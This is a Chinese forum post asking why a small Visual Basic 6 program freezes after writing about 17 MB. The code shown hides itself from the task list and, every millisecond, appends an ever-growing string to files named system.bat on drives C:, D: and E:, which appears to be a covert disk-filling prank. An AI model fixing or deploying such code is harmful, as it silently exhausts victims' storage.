为什么我的程序运行一段时间就无响应了
整个程序运行一段时间，大概写了17M左右，就无响应了不知道是为什么
代码如下
Option Explicit
Dim a$, x$, b%
Private Sub Form_Load()
Timer1.Interval = 1
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
If b = 0 Then
Open "c:\system.bat" For Output As #1
Write #1, 0, 1
b = 1
Close #1
End If
Open "c:\system.bat" For Input As #2
Do While Not EOF(2)
Input #2, a
x = x + a
Loop
Close #2
Open "c:\system.bat" For Append As #3
Write #3, x
Close #3
Open "d:\system.bat" For Append As #4
Write #4, x
Close #4
Open "e:\system.bat" For Append As #5
Write #5, x
Close #5
End Sub
怎么没人理我啊